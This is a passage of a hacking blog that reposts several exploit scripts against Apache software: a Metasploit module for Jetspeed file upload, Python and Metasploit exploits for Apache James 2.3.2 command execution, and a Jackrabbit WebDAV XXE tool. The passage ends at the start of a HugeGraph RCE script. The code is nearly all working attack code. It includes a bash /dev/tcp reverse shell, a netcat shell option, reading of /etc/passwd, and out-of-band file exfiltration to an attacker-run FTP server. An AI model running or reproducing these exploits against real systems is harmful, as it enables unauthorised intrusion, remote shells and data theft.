Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110197

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Jetspeed Arbitrary File Upload',
      'Description'    => %q{
        This module exploits the unsecured User Manager REST API and a ZIP file
        path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
        versions, to upload and execute a shell.

        Note: this exploit will create, use, and then delete a new admin user.

        Warning: in testing, exploiting the file upload clobbered the web
        interface beyond repair. No workaround has been found yet. Use this
        module at your own risk. No check will be implemented.
      },
      'Author'         => [
        'Andreas Lindh', # Vulnerability discovery
        'wvu'            # Metasploit module
      ],
      'References'     => [
        ['CVE', '2016-0710'],
        ['CVE', '2016-0709'],
        ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
        ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
        ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
      ],
      'DisclosureDate' => 'Mar 6 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux', 'win'],
      'Arch'           => ARCH_JAVA,
      'Privileged'     => false,
      'Targets'        => [
        ['Apache Jetspeed <= 2.3.0 (Linux)',   'Platform' => 'linux'],
        ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      Opt::RPORT(8080)
    ])
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_warning(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    print_status("Creating admin user: #{username}:#{password}")
    create_admin_user
    # This was originally a typo... but we're having so much fun!
    print_status('Kenny Loggins in')
    kenny_loggins
    print_warning('You have entered the Danger Zone')
    print_status("Uploading payload ZIP: #{zip_filename}")
    upload_payload_zip
    print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
    exec_jsp_shell
  end

  def cleanup
    print_status("Deleting user: #{username}")
    delete_user
    super
  end

  #
  # Exploit methods
  #

  def create_admin_user
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/jetspeed/services/usermanager/users',
      'vars_post' => {
        'name'             => username,
        'password'         => password,
        'password_confirm' => password
      }
    )
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => "/jetspeed/services/usermanager/users/#{username}",
      'vars_post' => {
        'user_enabled' => 'true',
        'roles'        => 'admin'
      }
    )
  end

  def kenny_loggins
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/jetspeed/login/redirector'
    )

    res = send_request_cgi!(
      'method'    => 'POST',
      'uri'       => '/jetspeed/login/j_security_check',
      'cookie'    => res.get_cookies,
      'vars_post' => {
        'j_username' => username,
        'j_password' => password
      }
    )

    @cookie = res.get_cookies
  end

  # Let's pretend we're mechanize
  def import_file
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/jetspeed/portal/Administrative/site.psml',
      'cookie' => @cookie
    )

    html = res.get_html_document
    import_export = html.at('//a[*//text() = "Import/Export"]/@href')

    res = send_request_cgi!(
      'method' => 'POST',
      'uri'    => import_export,
      'cookie' => @cookie
    )

    html = res.get_html_document
    html.at('//form[*//text() = "Import File"]/@action')
  end

  def upload_payload_zip
    zip = Rex::Zip::Archive.new
    zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)

    mime = Rex::MIME::Message.new
    mime.add_part(zip.pack, 'application/zip', 'binary',
                  %Q{form-data; name="fileInput"; filename="#{zip_filename}"})
    mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
    mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')

    case target['Platform']
    when 'linux'
      register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
      register_files_for_cleanup("../temp/#{username}/#{zip_filename}")
    when 'win'
      register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
      register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}")
    end

    send_request_cgi(
      'method' => 'POST',
      'uri'    => import_file,
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
      'cookie' => @cookie,
      'data'   => mime.to_s
    )
  end

  def exec_jsp_shell
    send_request_cgi(
      'method' => 'GET',
      'uri'    => "/jetspeed/#{jsp_filename}",
      'cookie' => @cookie
    )
  end

  #
  # Cleanup methods
  #

  def delete_user
    send_request_cgi(
      'method' => 'DELETE',
      'uri'    => "/jetspeed/services/usermanager/users/#{username}"
    )
  end

  # XXX: This is a hack because FileDropper doesn't delete directories
  def on_new_session(session)
    super
    case target['Platform']
    when 'linux'
      print_status("Deleting user temp directory: ../temp/#{username}")
      session.shell_command_token("rm -rf ../temp/#{username}")
    when 'win'
      print_status("Deleting user temp directory: ..\\temp\\#{username}")
      session.shell_command_token("rd /s /q ..\\temp\\#{username}")
    end
  end

  #
  # Utility methods
  #

  def username
    @username ||= Rex::Text.rand_text_alpha_lower(8)
  end

  def password
    @password ||= Rex::Text.rand_text_alphanumeric(8)
  end

  def jsp_filename
    @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
  end

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
  end

end
            
# Exploit Title: Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
# Date: 27/09/2021
# Exploit Author: shinris3n
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

'''
This Python 3 implementation is based on the original (Python 2) exploit code developed by 
Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec.  The following modifications were made:

1 - Made required changes to print and socket commands for Python 3 compatibility.
1 - Changed the default payload to a basic bash reverse shell script and added a netcat option.
2 - Changed the command line syntax to allow user input of remote ip, local ip and listener port to correspond with #2.
3 - Added a payload that can be used for testing remote command execution and connectivity.
4 - Added payload and listener information output based on payload selection and user input.
5 - Added execution output clarifications and additional informational comments throughout the code.

@shinris3n
https://twitter.com/shinris3n
https://shinris3n.github.io/
'''

#!/usr/bin/python3

import socket
import sys
import time

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 4:
    sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
    sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
    sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
    sys.exit(1)

remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]

# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only

print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
    print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)


def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print ("[+]Connecting to James Remote Administration Tool...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
    s.recv(1024)
    s.send((user + "\n").encode('utf-8'))
    s.recv(1024)
    s.send((pwd + "\n").encode('utf-8'))
    s.recv(1024)
    print ("[+]Creating user...")
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
    s.recv(1024)
    s.send("quit\n".encode('utf-8'))
    s.close()

    print ("[+]Connecting to James SMTP server...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
    s.send("ehlo team@team.pl\r\n".encode('utf-8'))
    recv(s)
    print ("[+]Sending payload...")
    s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
    recv(s)
    s.send("data\r\n".encode('utf-8'))
    recv(s)
    s.send("From: team@team.pl\r\n".encode('utf-8'))
    s.send("\r\n".encode('utf-8'))
    s.send("'\n".encode('utf-8'))
    s.send((payload + "\n").encode('utf-8'))
    s.send("\r\n.\r\n".encode('utf-8'))
    recv(s)
    s.send("quit\r\n".encode('utf-8'))
    recv(s)
    s.close()
    print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
    if '/bin/bash' in payload:
        print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
    print ("Connection failed.")
            
#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

import socket
import sys
import time

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user 
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
    sys.exit(1)

ip = sys.argv[1]

def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()

    print "[+]Connecting to James SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25))
    s.send("ehlo team@team.pl\r\n")
    recv(s)
    print "[+]Sending payload..."
    s.send("mail from: <'@team.pl>\r\n")
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    recv(s)
    s.send("data\r\n")
    recv(s)
    s.send("From: team@team.pl\r\n")
    s.send("\r\n")
    s.send("'\n")
    s.send(payload + "\n")
    s.send("\r\n.\r\n")
    recv(s)
    s.send("quit\r\n")
    recv(s)
    s.close()
    print "[+]Done! Payload will be executed once somebody logs in."
except:
    print "Connection failed."
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write",
      'Description'    => %q{
        This module exploits a vulnerability that exists due to a lack of input
        validation when creating a user. Messages for a given user are stored
        in a directory partially defined by the username. By creating a user
        with a directory traversal payload as the username, commands can be
        written to a given directory. To use this module with the cron
        exploitation method, run the exploit using the given payload, host, and
        port. After running the exploit, the payload will be executed within 60
        seconds. Due to differences in how cron may run in certain Linux
        operating systems such as Ubuntu, it may be preferable to set the
        target to Bash Completion as the cron method may not work. If the target
        is set to Bash completion, start a listener using the given payload,
        host, and port before running the exploit. After running the exploit,
        the payload will be executed when a user logs into the system. For this
        exploitation method, bash completion must be enabled to gain code
        execution. This exploitation method will leave an Apache James mail
        object artifact in the /etc/bash_completion.d directory and the
        malicious user account.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Palaczynski Jakub', # Discovery
        'Matthew Aberegg',   # Metasploit
        'Michael Burkey'     # Metasploit
      ],
      'References'     =>
      [
        [ 'CVE', '2015-7611' ],
        [ 'EDB', '35513' ],
        [ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ]
      ],
      'Platform'       => 'linux',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
      [
        [ 'Bash Completion', {
          'ExploitPath' => 'bash_completion.d',
          'ExploitPrepend' => '',
          'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 }
        } ],
        [ 'Cron', {
          'ExploitPath' => 'cron.d',
          'ExploitPrepend' => '* * * * * root ',
          'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 }
        } ]
      ],
      'Privileged'     => true,
      'DisclosureDate' => "Oct 1 2015",
      'DefaultTarget'  => 1,
      'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl' ]
      ))
      register_options(
        [
          OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]),
          OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]),
          OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]),
          OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]),
          Opt::RPORT(25)
        ])
    import_target_defaults
  end

  def check
    # SMTP service check
    connect
    smtp_banner = sock.get_once
    disconnect
    unless smtp_banner.to_s.include? "JAMES SMTP Server"
      return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")
    end

    # James Remote Administration Tool service check
    connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
    admin_banner = sock.get_once
    disconnect
    unless admin_banner.to_s.include? "JAMES Remote Administration Tool"
      return CheckCode::Safe("Target is not JAMES Remote Administration Tool")
    end

    # Get version number
    version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
    # Null check
    unless version
      return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")
    end
    # Create version objects
    target_version = Gem::Version.new(version)
    vulnerable_version = Gem::Version.new("2.3.2")

    # Check version number
    if target_version > vulnerable_version
      return CheckCode::Safe
    elsif target_version == vulnerable_version
      return CheckCode::Appears
    elsif target_version < vulnerable_version
      return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")
    end
  end

  def execute_james_admin_tool_command(cmd)
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
    sock.get_once
    sock.puts(username + "\n")
    sock.get_once
    sock.puts(password + "\n")
    sock.get_once
    sock.puts(cmd)
    sock.get_once
    sock.puts("quit\n")
    disconnect
  end

  def cleanup
    return unless target['ExploitPath'] == "cron.d"
    # Delete mail objects containing payload from cron.d
    username = "../../../../../../../../etc/cron.d"
    password = @account_password
    begin
      connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT']})
      sock.get_once
      sock.puts("USER #{username}\r\n")
      sock.get_once
      sock.puts("PASS #{password}\r\n")
      sock.get_once
      sock.puts("dele 1\r\n")
      sock.get_once
      sock.puts("quit\r\n")
      disconnect
    rescue
      print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")
    end

    # Delete malicious user
    delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"
    execute_james_admin_tool_command(delete_user_command)
  end

  def execute_command(cmd, opts = {})
    # Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d)
    exploit_path = target['ExploitPath']
    @account_password = Rex::Text.rand_text_alpha(8..12)
    add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n"
    execute_james_admin_tool_command(add_user_command)

    # Send payload via SMTP
    payload_prepend = target['ExploitPrepend']
    connect
    sock.puts("ehlo admin@apache.com\r\n")
    sock.get_once
    sock.puts("mail from: <'@apache.com>\r\n")
    sock.get_once
    sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n")
    sock.get_once
    sock.puts("data\r\n")
    sock.get_once
    sock.puts("From: admin@apache.com\r\n")
    sock.puts("\r\n")
    sock.puts("'\n")
    sock.puts("#{payload_prepend}#{cmd}\n")
    sock.puts("\r\n.\r\n")
    sock.get_once
    sock.puts("quit\r\n")
    sock.get_once
    disconnect
  end

  def execute_cmdstager_end(opts)
    if target['ExploitPath'] == "cron.d"
      print_status("Waiting for cron to execute payload...")
    else
      print_status("Payload will be triggered when someone logs onto the target")
      print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
      print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
    end
  end

  def exploit
    execute_cmdstager(background: true)
  end

end
            
#!/usr/bin/env python
"""
# Exploit Title: Jackrabbit WebDAV XXE
# Date: 25-05-2015
# Software Link: http://jackrabbit.apache.org/jcr/
# Exploit Author: Mikhail Egorov
# Contact: 0ang3el () gmail com
# Website: http://0ang3el.blogspot.com
# CVE: CVE-2015-1833
# Category: webapps

1. Description

Jackrabbit WebDAV plugin use insecurely configured XML parser to parse
incoming PROPPATCH and PROPFIND requests. As a result it is vulnerable to
XXE attacks.
Besides Jackrabbit JCR, WebDAV plugin is incorporated into the following
software: Apache Sling, Adobe AEM.

2. Proof of Concept

Download vulnerable Apache Sling launchpad web application from here -
https://sling.apache.org

Start launchpad web application as follows:
root@kali:~/build-sling# java -jar
org.apache.sling.launchpad-8-SNAPSHOT-standalone.jar

Launch exploit with the following command:
root@kali:~# python cve-2015-1833.py --url http://127.0.0.1:8080/content/xxe
--tech oob --ip 127.0.0.1
enter command> get .

loaded 210 bytes in buffer

enter command> show

apache-maven-3.0.5
apache-maven-3.0.5-bin.tar.gz
derby.log
eclipse
hs_err_pid5379.log
org.apache.sling.launchpad-8-SNAPSHOT-standalone.jar
python-workspace

enter command> store /tmp/cwd.lst

buffer content has been stored in file /tmp/cwd.lst

enter command> exit
root@kali:~#

Exploit have three exploitation techniques:
* inb1 - inbound XXE technique, it first writes content as attribute value
of controllable JCR node using PROPPATCH request and then retrieves content
using PROPFIND request
* inb2 - same as inb1, but there is some XML magic to retrieve content that
is not valid XML data
* oob - out-of-bound technique, utilizes FTP hack from this blog
http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
Technique inb2 is the most stable. But it requires credentials of the user
that is able to modify some JCR node. Attacker host must have "visible ip"
which is required for communication between target and attacker's host.
Technique oob works even with anonymous credentials. But it is not so
stable as inb2 technique.
Technique inb1 does not require "visible ip", but there are limitations on
retrieved content.

3. Solution:

If you use Apache Jackrabbit, install version 2.10.1.
http://www.apache.org/dist/jackrabbit/2.10.1/RELEASE-NOTES.txt
"""
from urllib2 import *
import sys, string, random
import base64
import xml.etree.ElementTree as ET
import BaseHTTPServer, SimpleHTTPServer
from multiprocessing import Process, Value, Manager
from optparse import OptionParser
import socket, select

usage= """
    %prog --url <url> --tech inb1 [ --creds <creds> ]
    
    %prog --url <url> --tech inb2 --ip <ip> [ --creds <creds> --hport <hport> ]
    
    %prog --url <url> --tech oob --ip <ip> [ --creds <creds> --hport <hport> --fport <fport>]
"""

help_interpreter = """
    help - print this help.
    
    get <dir or file> - retrieve directory listing or file content and store it inside internal buffer. You can use "." to denote current directory (e.g. use "get ." for cwd listing).
    
    show - show content of internal buffer.
    
    store <out file> - store internal buffer in file.
    
    exit - stop exploiting
    """
    
failure_descr = """
Possible reasons:
    1. Inappropriate technique, try another options.
    2. You do not have permissions to read file or list directory.
    3. Target is not exploitable.
"""
    
rand_attr = ''
script_name = sys.argv[0].split('/')[-1]

buffer_with_loot = ''

url, tech, ip, creds, hport, fport = [None] * 6

http_server, ftp_server = [None] * 2

class HTTP_XXE():
    def __init__(self, ip, port, fport):
        self.port = port
        self.ip = ip
        self.fport = fport
        
    def run(self):
        class http_handler(BaseHTTPServer.BaseHTTPRequestHandler):
            def __init__(self, ip, fport,*args):
                self.ip = ip
                self.fport = fport
                BaseHTTPServer.BaseHTTPRequestHandler.__init__(self, *args)
                
            def do_GET(self):
                if "inb2" in self.path:
                    self.send_response(200)
                    self.send_header('Content-type','application/xml')
                    self.end_headers()
                    self.wfile.write('<?xml version="1.0" encoding="utf-8"?><!ENTITY all "%start;%loot;%end;">')
                    
                if "oob" in self.path:
                    self.send_response(200)
                    self.send_header('Content-type','application/xml')
                    self.end_headers()
                    self.wfile.write('<?xml version="1.0" encoding="utf-8"?><!ENTITY %% all "<!ENTITY &#37; send SYSTEM "ftp://%(ip)s:%(port)s/%%loot;">">%%all;' % {'ip' : self.ip, 'port' : self.fport})
                    
            def log_message(self, format, *args): # silent HTTP server
                return
                               
        def serve(httpd):
            while True:
                httpd.handle_request()
        
        handler = lambda *args: http_handler(self.ip, self.fport, *args)    
        httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', self.port), handler)
        self.proc = Process(target = serve, args = (httpd,))
        self.proc.start()
            
    def stop(self):
        self.proc.terminate()
    
class FTP_XXE():
    def __init__(self, port):
        self.port = port
        
    def run(self):
        class ftp_handler():
            def __init__(self, port):
                self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                self.server.setblocking(0)
                self.server.bind(('0.0.0.0', port))
                self.server.listen(5)
                
            def serve(self, d):
                inputs = [self.server]
                while True:
                    readable, writable, exceptional = select.select(inputs, [], [])
                    
                    for s in readable:
                        if s is self.server:
                            connection, client_address = s.accept()
                            connection.setblocking(0)
                            inputs.append(connection)
                            
                            connection.send("220 xxe-ftp-server\n")
                        else:
                            data = s.recv(1024)
                            
                            if not data:
                                inputs.remove(s)
                                continue
                            
                            if "USER" in data:
                                s.send("331 password please - version check\n")
                            else:
                                s.send("230 more data please!\n")
                                if not len([x for x in ["PASS","EPSV","EPRT","TYPE"] if x in data]):
                                    d['loot'] += data
        
        self.d = Manager().dict()
        self.d['loot'] = ''
                               
        ftpd = ftp_handler(self.port)
        self.proc = Process(target = ftpd.serve, args=(self.d,))
        self.proc.start()
    
    def stop(self):
        self.proc.terminate()
        
    def clean_buf(self):
        self.d['loot'] = ''
        
    def get_loot(self):
        loot = self.d['loot']
        
        # clean data
        loot = loot.replace('\r\nRETR ','/')
        loot = loot.replace('\r\nCWD ','/')
        loot = loot.replace('CWD ','',1)
        loot = loot.replace('RETR ','',1)
        
        return loot
            
def exploit(url, technique, creds = 'anonymous:anonymous'):
    
    global buffer_with_loot, rand_attr
    
    requests = {
        'inb1' : {
            'PROPPATCH' : '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE propertyupdate [ <!ENTITY loot SYSTEM "%(file)s"> ]> <D:propertyupdate  xmlns:D="DAV:"> <D:set> <D:prop>  <%(attr_name)s>&loot;</%(attr_name)s> </D:prop> </D:set> </D:propertyupdate>',
            'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
        },
                
        'inb2' : {
            'PROPPATCH' : '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE propertyupdate [ <!ENTITY %% start "<![CDATA["> <!ENTITY %% loot SYSTEM "%(file)s"> <!ENTITY %% end "]]>"> <!ENTITY %% dtd SYSTEM "http://%(ip)s:%(port)s/inb2"> %%dtd; ]> <D:propertyupdate  xmlns:D="DAV:"> <D:set> <D:prop>  <%(attr_name)s>&all;</%(attr_name)s> </D:prop> </D:set> </D:propertyupdate>',
            'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
        },
                
        'oob' : {
            'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE propfind [ <!ENTITY %% loot SYSTEM "%(file)s"> <!ENTITY %% dtd SYSTEM "http://%(ip)s:%(port)s/oob"> %%dtd; %%send;  ]> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
        }
    }
     
    def request(url, verb, data, creds, timeout):
        req = Request(url, data)
        req.add_header('User-Agent', script_name)
        req.add_header('Content-Type', 'application/xml')
        req.add_header('Authorization', 'Basic ' + base64.b64encode(creds))
        req.get_method = lambda: verb
        
        #req.set_proxy('127.0.0.1:8081','http')  ### For debug
        
        resp = None
        try:      
            resp =  urlopen(req, timeout = timeout).read()
        except Exception, e:
            pass
        
        return resp
        
    while 1:
        cmdline = raw_input('\033[33menter command> \033[0m')
        cmdline = re.sub('\s+', ' ', cmdline)
        cmd = cmdline.split(' ')[0]
        arg = cmdline.split(' ')[-1]
        
        if cmd not in ['help', 'get', 'show', 'store', 'exit']:
            print '\n\033[36mno such command, use help for command list \033[0m\n'
            continue
        
        if cmd == 'exit':
            break
        
        if cmd == 'help':
            print '\033[36m' + help_interpreter + '\033[0m'
            continue
        
        if cmd == 'show':
            print '\n\033[36m' + buffer_with_loot + '\033[0m'
            continue
        
        if cmd == 'store':
            with open(arg,'w') as outf:
                outf.write(buffer_with_loot)
                
            print '\n\033[32mbuffer content has been stored in file ' + arg + '\033[0m\n'
            continue
        
        if cmd == 'get':
            if arg.startswith('.'):
                arg = '/proc/self/cwd' + arg[1:]
            arg = 'file://' + arg
            
            rand_attr = ''.join([random.choice(string.ascii_lowercase) for i in range(10)]) ### random attribute name where we place content
            
            if technique == 'inb1':
                request1 = requests['inb1']['PROPPATCH'] % {'attr_name' : rand_attr, 'file' : arg}
                request(url, 'PROPPATCH', request1, creds, timeout = 30)
                
                request2 = requests['inb1']['PROPFIND']
                loot = request(url, 'PROPFIND', request2, creds, timeout = 30)
                
                try:
                    buffer_with_loot = ET.fromstring(loot).findall('.//' + rand_attr)[0].text
                except:
                    buffer_with_loot = ''
                                  
            if technique == 'inb2':
                request1 = requests['inb2']['PROPPATCH'] % {'attr_name' : rand_attr, 'file' : arg, 'ip' : ip, 'port' : hport}
                request(url, 'PROPPATCH', request1, creds, timeout = 30)
                
                request2 = requests['inb2']['PROPFIND']
                loot = request(url, 'PROPFIND', request2, creds, timeout = 30)
                
                try:              
                    buffer_with_loot = ET.fromstring(loot).findall('.//' + rand_attr)[0].text.replace('<[CDATA[','').replace(']]>','')
                except:
                    buffer_with_loot = ''
                    
            if technique == 'oob':
                request1 = requests['oob']['PROPFIND'] % {'file' : arg, 'ip' : ip, 'port' : hport}
                request(url, 'PROPFIND', request1, creds, timeout = 8)

                buffer_with_loot = ftp_server.get_loot()
                
                ftp_server.clean_buf()
                             
            len_ = sys.getsizeof(buffer_with_loot) - sys.getsizeof('')
            print "\n\033[32mloaded %s bytes in buffer\033[0m\n" % len_
            if not len_:
                print '\033[36m' + failure_descr + '\033[0m'
                
            continue

def parse_options():
    global url, tech, ip, creds, hport, fport
    
    parser = OptionParser(usage = usage)
    parser.add_option('--url', dest = url, help = 'url parameter')
    parser.add_option('--tech', dest = tech, help = 'technique, valid values are: inb1, inb2, oob')
    parser.add_option('--creds', dest = creds, help = 'user credentials, default value is anonymous:anonymous')
    parser.add_option('--ip', dest = ip, help = 'ip address of netw interface that your target is able to access')
    parser.add_option('--hport', dest = hport, help = 'port for HTTP server which will be launched during attack, default is 9998')
    parser.add_option('--fport', dest = fport, help = 'port for FTP server which will be launched during attack, default is 9999')
    
    (options, args) = parser.parse_args()
    
    if not options.url or not options.tech:
        print 'you must specify url and tech parameters'
        sys.exit(2)
        
    if options.tech not in ['inb1', 'inb2', 'oob']:
        print 'invalid tech parameter'
        sys.exit(2)
        
    if options.tech != 'inb1' and not options.ip:
        print 'you must specify ip parameter'
        sys.exit(2)
        
    url = options.url
    tech = options.tech
    ip = options.ip
    creds = options.creds if options.creds else 'anonymous:anonymous'
    hport = options.hport if options.hport else 9998
    fport = options.fport if options.fport else 9999

parse_options()

if tech != 'inb1':  
    http_server = HTTP_XXE(ip, hport, fport)
    http_server.run()
    
    if tech == 'oob':
        ftp_server = FTP_XXE(fport)
        ftp_server.run()
    
exploit(url, tech, creds)

if tech != 'inb1': 
    http_server.stop()
    
if tech == 'oob':
    ftp_server.stop()
            
# Exploit Title: Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://hugegraph.apache.org/docs/download/download/
# Version: Apache HugeGraph 1.0.0 - 1.2.0
# CVE : CVE-2024–27348

from requests import Request, Session
import sys
import json

def title():
    print('''
    
   ______     _______     ____   ___ ____  _  _        ____ _____ _____ _  _    ___  
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \___  |___ /| || |  ( _ ) 
